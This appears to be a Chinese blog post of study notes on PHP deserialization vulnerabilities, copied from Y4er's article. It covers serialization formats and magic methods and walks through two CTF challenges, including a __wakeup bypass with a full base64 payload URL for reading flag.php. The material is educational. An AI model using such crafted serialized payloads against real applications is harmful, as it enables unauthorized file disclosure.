php反序列化学习

照抄Y4er大佬的文章https://y4er.com/post/unserialize/


记录下PHP反序列化漏洞学习笔记。

简介

php序列化 化对象为压缩格式化的字符串

反序列化 将压缩格式化的字符串还原

php序列化是为了将对象或者变量永久存储的一种方案。

序列化

在了解反序列化之前我们首先要知道什么是序列化。
在php中,序列化函数是serialize(),我们先来写一个简单的序列化。

<?php
class User {
    public $name;
    private $sex;
    protected $money = 1000;

    public function __construct($data, $sex) {
        $this->data = $data;
        $this->sex = $sex;
    }
}
$number = 66;
$str = 'Y4er';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$user = new User('jack', 'male');

var_dump(serialize($number));
echo '<hr>';
var_dump(serialize($str));
echo '<hr>';
var_dump(serialize($bool));
echo '<hr>';
var_dump(serialize($null));
echo '<hr>';
var_dump(serialize($arr));
echo '<hr>';
var_dump(serialize($user));

在这里我们分别序列化了数字、字符串、布尔值、空、数组、对象。看下输出结果

string(5) "i:66;"
string(11) "s:4:"Y4er";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(99) "O:4:"User":4:{s:4:"name";N;s:9:"Usersex";s:4:"male";s:8:"*money";i:1000;s:4:"data";s:4:"jack";}"

以此我们知道序列化不同类型的格式为

  • Integer : i:value;
  • String : s:size:value;
  • Boolean : b:value;(保存1或0)
  • Null : N;
  • Array : a:size:{key definition;value definition;(repeated per element)}
  • Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
    在这里需要注意一点就是object的private和protected属性的长度问题:
    string(99) "O:4:"User":4:{s:4:"name";N;s:9:"Usersex";s:4:"male";s:8:"*money";i:1000;s:4:"data";s:4:"jack";}"
    可以看到Usersex的长度为9,是因为php序列化属性值时,如果是private或者protected会自动在类名两边添加一个空字节,如果是url编码用%00,如果是ASCII编码用\00,都是表示一个空字节。
  1. %00User%00sex 表示 private
  2. %00*%00money 表示protected

反序列化

反序列化是将字符串转换为原来的变量或对象,简单写一个例子。

<?php

class User
{
    public $name='Y4er';

    function __wakeup()
    {
        echo $this->name;
    }
}

$me = new User();
echo serialize($me);
echo '<hr>';
unserialize($_GET['id']);

可以看到,我们将序列化之后的字符串通过id传给unserialize函数之后,执行了__wakeup()函数,输出了Y4er字符串。

那么我们如果改变O:4:"User":1:{s:4:"name";s:4:"Y4er";}中的Y4er字符串,精心构造一个对象是不是可以随意输出呢?答案当然是肯定的,所以反序列化漏洞的产生就在于__wakeup中存在可控字段。

那么__wakeup是什么函数呢?为什么他会自己运行呢?有没有其他类似的函数呢?

魔术方法

在php中,有着一系列的魔术方法,他们和C#中的构造方法相似,都是在某一条件满足下自动运行,一般用于初始化对象。我们在这里列举一些

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__toString() //把类当作字符串使用时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发</pre>

我们在上文中用到了__wakeup函数,在使用unserialize()时自动输出了$this->name。在了解完魔术方法之后,我们来看几道题。

D0g3 热身反序列化

题目如下,我稍微修改了一下。

<?php
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "You get Flag!!!";
}
show_source(__FILE__);

很简单的一道题,要求就是通过get传进去的str参数经过反序列化之后要等于D0g3!!!,那么我们直接将D0g3!!!序列化一下,然后通过str参数就可以了。

echo serialize("D0g3!!!");

输出s:7:"D0g3!!!";

然后访问http://php.local/unserialize.php?str=s:7:"D0g3!!!";拿到flag。

__wakeup反序列化对象注入

<?php

class SoFun
{
    protected $file = 'index.php';

    function __destruct()
    {
        if (!empty($this->file)) {
            if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false) {
                show_source(dirname(__FILE__) . '/' . $this->file);
            } else {
                die('Wrong filename.');
            }
        }
    }

    function __wakeup()
    {
        $this->file = 'index.php';
    }

    public function __toString()
    {
        return '';
    }
}

if (!isset($_GET['file'])) {
    show_source('index.php');
} else {
    $file = base64_decode($_GET['file']);
    echo unserialize($file);
}
?>   #<!--key in flag.php-->

首先阅读题意,可以看到要通过base64传递file参数来反序列化将$file变量改变为flag.php,从而读出flag。

但是有一个问题,__wakeup函数是在反序列化时就执行,而__destruct是在对象销毁时执行,也就是说__wakeup__destruct先执行,而__wakeup会执行$this->file = 'index.php';,所以我们现在要想办法将file变成flag.php并且要绕过__wakeup函数调用__destruct函数。

这里用到了一个PHP反序列化对象注入漏洞,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

首先准备反序列化对象

$i = new SoFun();
echo serialize($i);

O:5:"SoFun":1:{s:7:"*file";s:9:"index.php";}
我们需要将file的%00补上
O:5:"SoFun":1:{s:7:"%00*%00file";s:9:"index.php";}
修改flag.php
O:5:"SoFun":1:{s:7:"%00*%00file";s:8:"flag.php";}
绕过wakeup
O:5:"SoFun":2:{s:7:"%00*%00file";s:8:"flag.php";}
然后需要urldecode一下,将%00转为空字节,最后base64之后就是payload了
http://php.local/index.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,185评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,445评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,684评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,564评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,681评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,874评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,025评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,761评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,217评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,545评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,694评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,351评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,988评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,778评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,007评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,427评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,580评论 2 349